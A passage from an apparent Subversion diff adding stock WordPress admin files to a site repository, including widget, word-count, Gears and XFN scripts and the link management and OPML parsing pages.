.widget").draggable({connectToSortable:".widgets-sortables",handle:".widget-title",distance:2,helper:"clone",zIndex:5,containment:"document",start:function(d,c){wpWidgets.fixWebkit(1);c.helper.find(".widget-description").hide()},stop:function(d,c){if(b){a(b).hide()}b="";wpWidgets.fixWebkit()}});a(".widgets-sortables").sortable({placeholder:"widget-placeholder",connectWith:".widgets-sortables",items:".widget",handle:".widget-title",cursor:"move",distance:2,containment:"document",start:function(d,c){wpWidgets.fixWebkit(1);c.item.find(".widget-inside").hide();c.item.css({marginLeft:"",width:""})},stop:function(f,c){if(c.item.hasClass("ui-draggable")){c.item.draggable("destroy")}if(c.item.hasClass("deleting")){wpWidgets.save(c.item,1,0,1);c.item.remove();return}var d=c.item.find("input.add_new").val(),i=c.item.find("input.multi_number").val(),h=c.item.attr("id"),g=a(this).attr("id");c.item.css({marginLeft:"",width:""});wpWidgets.fixWebkit();if(d){if("multi"==d){c.item.html(c.item.html().replace(/<[^<>]+>/g,function(e){return e.replace(/__i__|%i%/g,i)}));c.item.attr("id",h.replace(/__i__|%i%/g,i));i++;a("div#"+h).find("input.multi_number").val(i)}else{if("single"==d){c.item.attr("id","new-"+h);b="div#"+h}}wpWidgets.addEvents(c.item);wpWidgets.save(c.item,0,0,1);c.item.find("input.add_new").val("");c.item.find("a.widget-action").click();return}wpWidgets.saveOrder(g)},receive:function(d,c){if(!a(this).is(":visible")){a(this).sortable("cancel")}}}).not(":visible").sortable("disable");wpWidgets.resize();wpWidgets.fixLabels()},saveOrder:function(c){if(c){a("#"+c).parents(".widgets-holder-wrap").find(".ajax-feedback").css("visibility","visible")}var b={action:"widgets-order",savewidgets:a("#_wpnonce_widgets").val(),sidebars:[]};a(".widgets-sortables").each(function(){b["sidebars["+a(this).attr("id")+"]"]=a(this).sortable("toArray").join(",")});a.post(ajaxurl,b,function(){a(".ajax-feedback").css("visibility","hidden")});this.resize()},save:function(g,d,e,b){var h=g.parents(".widgets-sortables").attr("id"),f=g.find("form").serialize(),c;g=a(g);g.find(".ajax-feedback").css("visibility","visible");c={action:"save-widget",savewidgets:a("#_wpnonce_widgets").val(),sidebar:h};if(d){c.delete_widget=1}f+="&"+a.param(c);a.post(ajaxurl,f,function(i){var j;if(d){if(!a(".widget_number",g).val()){j=a(".widget-id",g).val();a("#available-widgets .widget-id").each(function(){if(a(this).val()==j){a(this).parents(".widget").show()}})}if(e){b=0;g.slideUp("fast",function(){a(this).remove();wpWidgets.saveOrder()})}else{g.remove();wpWidgets.resize()}}else{a(".ajax-feedback").css("visibility","hidden");if(i&&i.length>2){a(".widget-content",g).html(i);wpWidgets.appendTitle(g);wpWidgets.fixLabels(g)}}if(b){wpWidgets.saveOrder()}})},appendTitle:function(b){a('input[type="text"]',b).each(function(){var c;if(this.id.indexOf("title")!=-1){c=a(this).val().replace(/<[^<>]+>/g,"").replace(/</g,"&lt;").replace(/>/g,"&gt;");if(c){a(".widget-title .in-widget-title",b).html(": "+c)}return false}})},resize:function(){a(".widgets-sortables").not("#wp_inactive_widgets").each(function(){var c=50,b=a(".widget",this).length;c=c+parseInt(b*48,10);a(this).css("minHeight",c+"px")})},fixWebkit:function(b){b=b?"none":"";a("body").css({WebkitUserSelect:b,KhtmlUserSelect:b})},fixLabels:function(b){b=b||document;a(".widget-inside label",b).each(function(){var c=a(this).attr("for");if(c&&c==a("input",this).attr("id")){a(this).removeAttr("for")}})},close:function(b){b.find(".widget-inside").slideUp("fast",function(){b.css({width:"",marginLeft:""})})},addEvents:function(b){b=b||document;a("a.widget-action",b).click(function(){var d=parseInt(a(this).parents(".widget").find(".widget-width").val(),10),e={},c=a(this).parents(".widget-top").siblings(".widget-inside");if(c.is(":hidden")){if(d>250&&c.parents(".widgets-sortables").length){e.width=d+30+"px";if(c.parents(".widget-liquid-right").length){e.marginLeft=235-d+"px"}c.parents(".widget").css(e)}c.slideDown("fast")}else{c.slideUp("fast",function(){c.parents(".widget").css({width:"",marginLeft:""})})}return false});a(".widget-control-save",b).click(function(){wpWidgets.save(a(this).parents(".widget"),0,1,0);return false});a(".widget-control-remove",b).click(function(){wpWidgets.save(a(this).parents(".widget"),1,1,0);return false});a(".widget-control-close",b).click(function(){wpWidgets.close(a(this).parents(".widget"));return false})}};a(document).ready(function(){wpWidgets.init()})})(jQuery);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/word-count.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/word-count.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/word-count.dev.js	(revision 44)
@@ -0,0 +1,39 @@
+// Word count
+(function($) {
+	wpWordCount = {
+
+		init : function() {
+			var t = this, last = 0, co = $('#content');
+
+			$('#wp-word-count').html( wordCountL10n.count.replace( /%d/, '<span id="word-count">0</span>' ) );
+			t.block = 0;
+			t.wc(co.val());
+			co.keyup( function(e) {
+				if ( e.keyCode == last ) return true;
+				if ( 13 == e.keyCode || 8 == last || 46 == last ) t.wc(co.val());
+				last = e.keyCode;
+				return true;
+			});
+		},
+
+		wc : function(tx) {
+			var t = this, w = $('#word-count'), tc = 0;
+
+			if ( t.block ) return;
+			t.block = 1;
+
+			setTimeout( function() {
+				if ( tx ) {
+					tx = tx.replace( /<.[^<>]*?>/g, ' ' ).replace( /&nbsp;|&#160;/gi, ' ' );
+					tx = tx.replace( /[0-9.(),;:!?%#$Â¿'"_+=\\/-]*/g, '' );
+					tx.replace( /\S\s+/g, function(){tc++;} );
+				}
+				w.html(tc.toString());
+
+				setTimeout( function() { t.block = 0; }, 2000 );
+			}, 1 );
+		}
+	}
+
+	$(document).ready( function(){ wpWordCount.init(); } );
+}(jQuery));
Index: /trunk/www.guidonia.net/wp/wp-admin/js/word-count.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/word-count.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/word-count.js	(revision 44)
@@ -0,0 +1,1 @@
+(function(a){wpWordCount={init:function(){var b=this,c=0,d=a("#content");a("#wp-word-count").html(wordCountL10n.count.replace(/%d/,'<span id="word-count">0</span>'));b.block=0;b.wc(d.val());d.keyup(function(f){if(f.keyCode==c){return true}if(13==f.keyCode||8==c||46==c){b.wc(d.val())}c=f.keyCode;return true})},wc:function(d){var e=this,c=a("#word-count"),b=0;if(e.block){return}e.block=1;setTimeout(function(){if(d){d=d.replace(/<.[^<>]*?>/g," ").replace(/&nbsp;|&#160;/gi," ");d=d.replace(/[0-9.(),;:!?%#$Â¿'"_+=\\/-]*/g,"");d.replace(/\S\s+/g,function(){b++})}c.html(b.toString());setTimeout(function(){e.block=0},2000)},1)}};a(document).ready(function(){wpWordCount.init()})}(jQuery));
Index: /trunk/www.guidonia.net/wp/wp-admin/js/wp-gears.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/wp-gears.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/wp-gears.dev.js	(revision 44)
@@ -0,0 +1,96 @@
+
+var wpGears = {
+
+	createStore : function() {
+		if ( 'undefined' == typeof google || ! google.gears ) return;
+
+		if ( 'undefined' == typeof localServer )
+			localServer = google.gears.factory.create("beta.localserver");
+
+		store = localServer.createManagedStore(this.storeName());
+		store.manifestUrl = "gears-manifest.php";
+		store.checkForUpdate();
+		this.message(3);
+	},
+
+	getPermission : function() {
+		var perm = true;
+
+		if ( 'undefined' != typeof google && google.gears ) {
+			if ( ! google.gears.factory.hasPermission )
+				perm = google.gears.factory.getPermission( 'WordPress', 'images/logo.gif' );
+
+			if ( perm )
+				try { this.createStore(); } catch(e) { this.message(); } // silence if canceled
+			else
+				this.message(4);
+		}
+	},
+
+	storeName : function() {
+		var name = window.location.protocol + window.location.host;
+
+		name = name.replace(/[\/\\:*"?<>|;,]+/g, '_'); // gears beta doesn't allow certain chars in the store name
+		name = 'wp_' + name.substring(0, 60); // max length of name is 64 chars
+
+		return name;
+	},
+
+	message : function(show) {
+		var t = this, msg1 = t.I('gears-msg1'), msg2 = t.I('gears-msg2'), msg3 = t.I('gears-msg3'), msg4 = t.I('gears-msg4'), num = t.I('gears-upd-number'), wait = t.I('gears-wait');
+
+		if ( ! msg1 ) return;
+
+		if ( 'undefined' != typeof google && google.gears ) {
+			if ( show && show == 4 ) {
+				msg1.style.display = msg2.style.display = msg3.style.display = 'none';
+				msg4.style.display = 'block';
+			} else if ( google.gears.factory.hasPermission ) {
+				msg1.style.display = msg2.style.display = msg4.style.display = 'none';
+				msg3.style.display = 'block';
+
+				if ( 'undefined' == typeof store )
+					t.createStore();
+
+				store.oncomplete = function(){wait.innerHTML = (' ' + wpGearsL10n.updateCompleted);};
+				store.onerror = function(){wait.innerHTML = (' ' + wpGearsL10n.error + ' ' + store.lastErrorMessage);};
+				store.onprogress = function(e){if(num) num.innerHTML = (' ' + e.filesComplete + ' / ' + e.filesTotal);};
+			} else {
+				msg1.style.display = msg3.style.display = msg4.style.display = 'none';
+				msg2.style.display = 'block';
+			}
+		}
+	},
+
+	I : function(id) {
+		return document.getElementById(id);
+	}
+};
+
+(function() {
+	if ( 'undefined' != typeof google && google.gears ) return;
+
+	var gf = false;
+	if ( 'undefined' != typeof GearsFactory ) {
+		gf = new GearsFactory();
+	} else {
+		try {
+			gf = new ActiveXObject('Gears.Factory');
+			if ( factory.getBuildInfo().indexOf('ie_mobile') != -1 )
+				gf.privateSetGlobalObject(this);
+		} catch (e) {
+			if ( ( 'undefined' != typeof navigator.mimeTypes ) && navigator.mimeTypes['application/x-googlegears'] ) {
+				gf = document.createElement("object");
+				gf.style.display = "none";
+				gf.width = 0;
+				gf.height = 0;
+				gf.type = "application/x-googlegears";
+				document.documentElement.appendChild(gf);
+			}
+		}
+	}
+
+	if ( ! gf ) return;
+	if ( 'undefined' == typeof google ) google = {};
+	if ( ! google.gears ) google.gears = { factory : gf };
+})();
Index: /trunk/www.guidonia.net/wp/wp-admin/js/wp-gears.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/wp-gears.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/wp-gears.js	(revision 44)
@@ -0,0 +1,1 @@
+var wpGears={createStore:function(){if("undefined"==typeof google||!google.gears){return}if("undefined"==typeof localServer){localServer=google.gears.factory.create("beta.localserver")}store=localServer.createManagedStore(this.storeName());store.manifestUrl="gears-manifest.php";store.checkForUpdate();this.message(3)},getPermission:function(){var a=true;if("undefined"!=typeof google&&google.gears){if(!google.gears.factory.hasPermission){a=google.gears.factory.getPermission("WordPress","images/logo.gif")}if(a){try{this.createStore()}catch(b){this.message()}}else{this.message(4)}}},storeName:function(){var a=window.location.protocol+window.location.host;a=a.replace(/[\/\\:*"?<>|;,]+/g,"_");a="wp_"+a.substring(0,60);return a},message:function(a){var d=this,g=d.I("gears-msg1"),f=d.I("gears-msg2"),e=d.I("gears-msg3"),c=d.I("gears-msg4"),b=d.I("gears-upd-number"),h=d.I("gears-wait");if(!g){return}if("undefined"!=typeof google&&google.gears){if(a&&a==4){g.style.display=f.style.display=e.style.display="none";c.style.display="block"}else{if(google.gears.factory.hasPermission){g.style.display=f.style.display=c.style.display="none";e.style.display="block";if("undefined"==typeof store){d.createStore()}store.oncomplete=function(){h.innerHTML=(" "+wpGearsL10n.updateCompleted)};store.onerror=function(){h.innerHTML=(" "+wpGearsL10n.error+" "+store.lastErrorMessage)};store.onprogress=function(i){if(b){b.innerHTML=(" "+i.filesComplete+" / "+i.filesTotal)}}}else{g.style.display=e.style.display=c.style.display="none";f.style.display="block"}}}},I:function(a){return document.getElementById(a)}};(function(){if("undefined"!=typeof google&&google.gears){return}var a=false;if("undefined"!=typeof GearsFactory){a=new GearsFactory()}else{try{a=new ActiveXObject("Gears.Factory");if(factory.getBuildInfo().indexOf("ie_mobile")!=-1){a.privateSetGlobalObject(this)}}catch(b){if(("undefined"!=typeof navigator.mimeTypes)&&navigator.mimeTypes["application/x-googlegears"]){a=document.createElement("object");a.style.display="none";a.width=0;a.height=0;a.type="application/x-googlegears";document.documentElement.appendChild(a)}}}if(!a){return}if("undefined"==typeof google){google={}}if(!google.gears){google.gears={factory:a}}})();
Index: /trunk/www.guidonia.net/wp/wp-admin/js/xfn.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/xfn.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/xfn.dev.js	(revision 44)
@@ -0,0 +1,41 @@
+function GetElementsWithClassName(elementName, className) {
+	var allElements = document.getElementsByTagName(elementName), elemColl = new Array(), i;
+	for (i = 0; i < allElements.length; i++) {
+		if (allElements[i].className == className) {
+			elemColl[elemColl.length] = allElements[i];
+		}
+	}
+	return elemColl;
+}
+
+function meChecked() {
+	var undefined, eMe = document.getElementById('me');
+	if (eMe == undefined) return false;
+	else return eMe.checked;
+}
+
+function upit() {
+	var isMe = meChecked(), inputColl = GetElementsWithClassName('input', 'valinp'), results = document.getElementById('link_rel'), inputs = '', i;
+	for (i = 0; i < inputColl.length; i++) {
+		 inputColl[i].disabled = isMe;
+		 inputColl[i].parentNode.className = isMe ? 'disabled' : '';
+		 if (!isMe && inputColl[i].checked && inputColl[i].value != '') {
+			inputs += inputColl[i].value + ' ';
+				}
+		 }
+	inputs = inputs.substr(0,inputs.length - 1);
+	if (isMe) inputs='me';
+	results.value = inputs;
+	}
+
+function blurry() {
+	if (!document.getElementById) return;
+
+	var aInputs = document.getElementsByTagName('input'), i;
+
+	for ( i = 0; i < aInputs.length; i++) {
+		 aInputs[i].onclick = aInputs[i].onkeyup = upit;
+	}
+}
+
+addLoadEvent(blurry);
Index: /trunk/www.guidonia.net/wp/wp-admin/js/xfn.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/js/xfn.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/js/xfn.js	(revision 44)
@@ -0,0 +1,1 @@
+function GetElementsWithClassName(a,c){var d=document.getElementsByTagName(a),e=new Array(),b;for(b=0;b<d.length;b++){if(d[b].className==c){e[e.length]=d[b]}}return e}function meChecked(){var b,a=document.getElementById("me");if(a==b){return false}else{return a.checked}}function upit(){var b=meChecked(),e=GetElementsWithClassName("input","valinp"),d=document.getElementById("link_rel"),a="",c;for(c=0;c<e.length;c++){e[c].disabled=b;e[c].parentNode.className=b?"disabled":"";if(!b&&e[c].checked&&e[c].value!=""){a+=e[c].value+" "}}a=a.substr(0,a.length-1);if(b){a="me"}d.value=a}function blurry(){if(!document.getElementById){return}var b=document.getElementsByTagName("input"),a;for(a=0;a<b.length;a++){b[a].onclick=b[a].onkeyup=upit}}addLoadEvent(blurry);
Index: /trunk/www.guidonia.net/wp/wp-admin/link-add.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/link-add.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/link-add.php	(revision 44)
@@ -0,0 +1,27 @@
+<?php
+/**
+ * Add Link Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once('admin.php');
+
+$title = __('Add New Link');
+$parent_file = 'link-manager.php';
+
+wp_reset_vars(array('action', 'cat_id', 'linkurl', 'name', 'image',
+	'description', 'visible', 'target', 'category', 'link_id',
+	'submit', 'order_by', 'links_show_cat_id', 'rating', 'rel',
+	'notes', 'linkcheck[]'));
+
+wp_enqueue_script('link');
+wp_enqueue_script('xfn');
+
+$link = get_default_link_to_edit();
+include('edit-link-form.php');
+
+require('admin-footer.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/link-category.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/link-category.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/link-category.php	(revision 44)
@@ -0,0 +1,100 @@
+<?php
+/**
+ * Manage link category administration actions.
+ *
+ * This page is accessed by the link management pages and handles the forms and
+ * AJAX processes for category actions.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once('admin.php');
+
+wp_reset_vars(array('action', 'cat'));
+
+switch($action) {
+
+case 'addcat':
+
+	check_admin_referer('add-link-category');
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	if ( wp_insert_term($_POST['name'], 'link_category', $_POST ) ) {
+		wp_redirect('edit-link-categories.php?message=1#addcat');
+	} else {
+		wp_redirect('edit-link-categories.php?message=4#addcat');
+	}
+	exit;
+break;
+
+case 'delete':
+	$cat_ID = (int) $_GET['cat_ID'];
+	check_admin_referer('delete-link-category_' .  $cat_ID);
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	$cat_name = get_term_field('name', $cat_ID, 'link_category');
+	$default_cat_id = get_option('default_link_category');
+
+	// Don't delete the default cats.
+	if ( $cat_ID == $default_cat_id )
+		wp_die(sprintf(__("Can&#8217;t delete the <strong>%s</strong> category: this is the default one"), $cat_name));
+
+	wp_delete_term($cat_ID, 'link_category', array('default' => $default_cat_id));
+
+	$location = 'edit-link-categories.php';
+	if ( $referer = wp_get_original_referer() ) {
+		if ( false !== strpos($referer, 'edit-link-categories.php') )
+			$location = $referer;
+	}
+
+	$location = add_query_arg('message', 2, $location);
+
+	wp_redirect($location);
+	exit;
+
+break;
+
+case 'edit':
+	$title = __('Edit Category');
+	$parent_file = 'link-manager.php';
+	$submenu_file = 'edit-link-categories.php';
+	require_once ('admin-header.php');
+	$cat_ID = (int) $_GET['cat_ID'];
+	$category = get_term_to_edit($cat_ID, 'link_category');
+	include('edit-link-category-form.php');
+	include('admin-footer.php');
+	exit;
+break;
+
+case 'editedcat':
+	$cat_ID = (int) $_POST['cat_ID'];
+	check_admin_referer('update-link-category_' . $cat_ID);
+
+	if ( !current_user_can('manage_categories') )
+		wp_die(__('Cheatin&#8217; uh?'));
+
+	$location = 'edit-link-categories.php';
+	if ( $referer = wp_get_original_referer() ) {
+		if ( false !== strpos($referer, 'edit-link-categories.php') )
+			$location = $referer;
+	}
+
+	$update =  wp_update_term($cat_ID, 'link_category', $_POST);
+
+	if ( $update && !is_wp_error($update) )
+		$location = add_query_arg('message', 3, $location);
+	else
+		$location = add_query_arg('message', 5, $location);
+
+	wp_redirect($location);
+	exit;
+break;
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/link-manager.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/link-manager.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/link-manager.php	(revision 44)
@@ -0,0 +1,277 @@
+<?php
+/**
+ * Link Management Administration Panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Administration Bootstrap */
+require_once ('admin.php');
+
+// Handle bulk deletes
+if ( isset($_GET['action']) && isset($_GET['linkcheck']) ) {
+	check_admin_referer('bulk-bookmarks');
+	$doaction = $_GET['action'] ? $_GET['action'] : $_GET['action2'];
+
+	if ( ! current_user_can('manage_links') )
+		wp_die( __('You do not have sufficient permissions to edit the links for this blog.') );
+
+	if ( 'delete' == $doaction ) {
+		foreach ( (array) $_GET['linkcheck'] as $link_id ) {
+			$link_id = (int) $link_id;
+
+			wp_delete_link($link_id);
+		}
+
+		wp_redirect( wp_get_referer() );
+		exit;
+	}
+} elseif ( isset($_GET['_wp_http_referer']) && ! empty($_GET['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), stripslashes($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+wp_reset_vars(array('action', 'cat_id', 'linkurl', 'name', 'image', 'description', 'visible', 'target', 'category', 'link_id', 'submit', 'order_by', 'links_show_cat_id', 'rating', 'rel', 'notes', 'linkcheck[]'));
+
+if ( empty($cat_id) )
+	$cat_id = 'all';
+
+if ( empty($order_by) )
+	$order_by = 'order_name';
+
+$title = __('Edit Links');
+$this_file = $parent_file = 'link-manager.php';
+include_once ("./admin-header.php");
+
+if (!current_user_can('manage_links'))
+	wp_die(__("You do not have sufficient permissions to edit the links for this blog."));
+
+switch ($order_by) {
+	case 'order_id' :
+		$sqlorderby = 'id';
+		break;
+	case 'order_url' :
+		$sqlorderby = 'url';
+		break;
+	case 'order_desc' :
+		$sqlorderby = 'description';
+		break;
+	case 'order_owner' :
+		$sqlorderby = 'owner';
+		break;
+	case 'order_rating' :
+		$sqlorderby = 'rating';
+		break;
+	case 'order_name' :
+	default :
+		$sqlorderby = 'name';
+		break;
+} ?>
+
+<div class="wrap nosubsub">
+<?php screen_icon(); ?>
+<h2><?php echo esc_html( $title );
+if ( isset($_GET['s']) && $_GET['s'] )
+	printf( '<span class="subtitle">' . __('Search results for &#8220;%s&#8221;') . '</span>', esc_html( stripslashes($_GET['s']) ) ); ?>
+</h2>
+
+<?php
+if ( isset($_GET['deleted']) ) {
+	echo '<div id="message" class="updated fade"><p>';
+	$deleted = (int) $_GET['deleted'];
+	printf(_n('%s link deleted.', '%s links deleted', $deleted), $deleted);
+	echo '</p></div>';
+	$_SERVER['REQUEST_URI'] = remove_query_arg(array('deleted'), $_SERVER['REQUEST_URI']);
+}
+?>
+
+<form class="search-form" action="" method="get">
+<p class="search-box">
+	<label class="screen-reader-text" for="link-search-input"><?php _e( 'Search Links' ); ?>:</label>
+	<input type="text" id="link-search-input" name="s" value="<?php _admin_search_query(); ?>" />
+	<input type="submit" value="<?php esc_attr_e( 'Search Links' ); ?>" class="button" />
+</p>
+</form>
+<br class="clear" />
+
+<form id="posts-filter" action="" method="get">
+<div class="tablenav">
+
+<div class="alignleft actions">
+<select name="action">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction" id="doaction" class="button-secondary action" />
+
+<?php
+$categories = get_terms('link_category', "hide_empty=1");
+$select_cat = "<select name=\"cat_id\">\n";
+$select_cat .= '<option value="all"'  . (($cat_id == 'all') ? " selected='selected'" : '') . '>' . __('View all Categories') . "</option>\n";
+foreach ((array) $categories as $cat)
+	$select_cat .= '<option value="' . esc_attr($cat->term_id) . '"' . (($cat->term_id == $cat_id) ? " selected='selected'" : '') . '>' . sanitize_term_field('name', $cat->name, $cat->term_id, 'link_category', 'display') . "</option>\n";
+$select_cat .= "</select>\n";
+
+$select_order = "<select name=\"order_by\">\n";
+$select_order .= '<option value="order_id"' . (($order_by == 'order_id') ? " selected='selected'" : '') . '>' .  __('Order by Link ID') . "</option>\n";
+$select_order .= '<option value="order_name"' . (($order_by == 'order_name') ? " selected='selected'" : '') . '>' .  __('Order by Name') . "</option>\n";
+$select_order .= '<option value="order_url"' . (($order_by == 'order_url') ? " selected='selected'" : '') . '>' .  __('Order by Address') . "</option>\n";
+$select_order .= '<option value="order_rating"' . (($order_by == 'order_rating') ? " selected='selected'" : '') . '>' .  __('Order by Rating') . "</option>\n";
+$select_order .= "</select>\n";
+
+echo $select_cat;
+echo $select_order;
+
+?>
+<input type="submit" id="post-query-submit" value="<?php esc_attr_e('Filter'); ?>" class="button-secondary" />
+
+</div>
+
+<br class="clear" />
+</div>
+
+<div class="clear"></div>
+
+<?php
+if ( 'all' == $cat_id )
+	$cat_id = '';
+$args = array('category' => $cat_id, 'hide_invisible' => 0, 'orderby' => $sqlorderby, 'hide_empty' => 0);
+if ( !empty($_GET['s']) )
+	$args['search'] = $_GET['s'];
+$links = get_bookmarks( $args );
+if ( $links ) {
+	$link_columns = get_column_headers('link-manager');
+	$hidden = get_hidden_columns('link-manager');
+?>
+
+<?php wp_nonce_field('bulk-bookmarks') ?>
+<table class="widefat fixed" cellspacing="0">
+	<thead>
+	<tr>
+<?php print_column_headers('link-manager'); ?>
+	</tr>
+	</thead>
+
+	<tfoot>
+	<tr>
+<?php print_column_headers('link-manager', false); ?>
+	</tr>
+	</tfoot>
+
+	<tbody>
+<?php
+	$alt = 0;
+
+	foreach ($links as $link) {
+		$link = sanitize_bookmark($link);
+		$link->link_name = esc_attr($link->link_name);
+		$link->link_category = wp_get_link_cats($link->link_id);
+		$short_url = str_replace('http://', '', $link->link_url);
+		$short_url = preg_replace('/^www\./i', '', $short_url);
+		if ('/' == substr($short_url, -1))
+			$short_url = substr($short_url, 0, -1);
+		if (strlen($short_url) > 35)
+			$short_url = substr($short_url, 0, 32).'...';
+		$visible = ($link->link_visible == 'Y') ? __('Yes') : __('No');
+		$rating  = $link->link_rating;
+		$style = ($alt % 2) ? '' : ' class="alternate"';
+		++ $alt;
+		$edit_link = get_edit_bookmark_link();
+		?><tr id="link-<?php echo $link->link_id; ?>" valign="middle" <?php echo $style; ?>><?php
+		foreach($link_columns as $column_name=>$column_display_name) {
+			$class = "class=\"column-$column_name\"";
+
+			$style = '';
+			if ( in_array($column_name, $hidden) )
+				$style = ' style="display:none;"';
+
+			$attributes = "$class$style";
+
+			switch($column_name) {
+				case 'cb':
+					echo '<th scope="row" class="check-column"><input type="checkbox" name="linkcheck[]" value="'. esc_attr($link->link_id) .'" /></th>';
+					break;
+				case 'name':
+
+					echo "<td $attributes><strong><a class='row-title' href='$edit_link' title='" . esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $link->link_name)) . "'>$link->link_name</a></strong><br />";
+					$actions = array();
+					$actions['edit'] = '<a href="' . $edit_link . '">' . __('Edit') . '</a>';
+					$actions['delete'] = "<a class='submitdelete' href='" . wp_nonce_url("link.php?action=delete&amp;link_id=$link->link_id", 'delete-bookmark_' . $link->link_id) . "' onclick=\"if ( confirm('" . esc_js(sprintf( __("You are about to delete this link '%s'\n  'Cancel' to stop, 'OK' to delete."), $link->link_name )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>";
+					$action_count = count($actions);
+					$i = 0;
+					echo '<div class="row-actions">';
+					foreach ( $actions as $action => $linkaction ) {
+						++$i;
+						( $i == $action_count ) ? $sep = '' : $sep = ' | ';
+						echo "<span class='$action'>$linkaction$sep</span>";
+					}
+					echo '</div>';
+					echo '</td>';
+					break;
+				case 'url':
+					echo "<td $attributes><a href='$link->link_url' title='".sprintf(__('Visit %s'), $link->link_name)."'>$short_url</a></td>";
+					break;
+				case 'categories':
+					?><td <?php echo $attributes ?>><?php
+					$cat_names = array();
+					foreach ($link->link_category as $category) {
+						$cat = get_term($category, 'link_category', OBJECT, 'display');
+						if ( is_wp_error( $cat ) )
+							echo $cat->get_error_message();
+						$cat_name = $cat->name;
+						if ( $cat_id != $category )
+							$cat_name = "<a href='link-manager.php?cat_id=$category'>$cat_name</a>";
+						$cat_names[] = $cat_name;
+					}
+					echo implode(', ', $cat_names);
+					?></td><?php
+					break;
+				case 'rel':
+					?><td <?php echo $attributes ?>><?php echo empty($link->link_rel) ? '<br />' : $link->link_rel; ?></td><?php
+					break;
+				case 'visible':
+					?><td <?php echo $attributes ?>><?php echo $visible; ?></td><?php
+					break;
+				case 'rating':
+ 					?><td <?php echo $attributes ?>><?php echo $rating; ?></td><?php
+					break;
+				default:
+					?>
+					<td><?php do_action('manage_link_custom_column', $column_name, $link->link_id); ?></td>
+					<?php
+					break;
+
+			}
+		}
+		echo "\n    </tr>\n";
+	}
+?>
+	</tbody>
+</table>
+
+<?php } else { ?>
+<p><?php _e('No links found.') ?></p>
+<?php } ?>
+
+<div class="tablenav">
+
+<div class="alignleft actions">
+<select name="action2">
+<option value="" selected="selected"><?php _e('Bulk Actions'); ?></option>
+<option value="delete"><?php _e('Delete'); ?></option>
+</select>
+<input type="submit" value="<?php esc_attr_e('Apply'); ?>" name="doaction2" id="doaction2" class="button-secondary action" />
+</div>
+
+<br class="clear" />
+</div>
+
+</form>
+
+<div id="ajax-response"></div>
+
+</div>
+
+<?php
+include('admin-footer.php');
Index: /trunk/www.guidonia.net/wp/wp-admin/link-parse-opml.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/link-parse-opml.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/link-parse-opml.php	(revision 44)
@@ -0,0 +1,97 @@
+<?php
+/**
+ * Parse OPML XML files and store in globals.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! defined('ABSPATH') )
+	die();
+
+global $opml, $map;
+
+// columns we wish to find are:  link_url, link_name, link_target, link_description
+// we need to map XML attribute names to our columns
+$opml_map = array('URL'         => 'link_url',
+	'HTMLURL'     => 'link_url',
+	'TEXT'        => 'link_name',
+	'TITLE'       => 'link_name',
+	'TARGET'      => 'link_target',
+	'DESCRIPTION' => 'link_description',
+	'XMLURL'      => 'link_rss'
+);
+
+$map = $opml_map;
+
+/**
+ * XML callback function for the start of a new XML tag.
+ *
+ * @since unknown
+ * @access private
+ *
+ * @uses $updated_timestamp Not used inside function.
+ * @uses $all_links Not used inside function.
+ * @uses $map Stores names of attributes to use.
+ * @global array $names
+ * @global array $urls
+ * @global array $targets
+ * @global array $descriptions
+ * @global array $feeds
+ *
+ * @param mixed $parser XML Parser resource.
+ * @param string $tagName XML element name.
+ * @param array $attrs XML element attributes.
+ */
+function startElement($parser, $tagName, $attrs) {
+	global $updated_timestamp, $all_links, $map;
+	global $names, $urls, $targets, $descriptions, $feeds;
+
+	if ($tagName == 'OUTLINE') {
+		foreach (array_keys($map) as $key) {
+			if (isset($attrs[$key])) {
+				$$map[$key] = $attrs[$key];
+			}
+		}
+
+		//echo("got data: link_url = [$link_url], link_name = [$link_name], link_target = [$link_target], link_description = [$link_description]<br />\n");
+
+		// save the data away.
+		$names[] = $link_name;
+		$urls[] = $link_url;
+		$targets[] = $link_target;
+		$feeds[] = $link_rss;
+		$descriptions[] = $link_description;
+	} // end if outline
+}
+
+/**
+ * XML callback function that is called at the end of a XML tag.
+ *
+ * @since unknown
+ * @access private
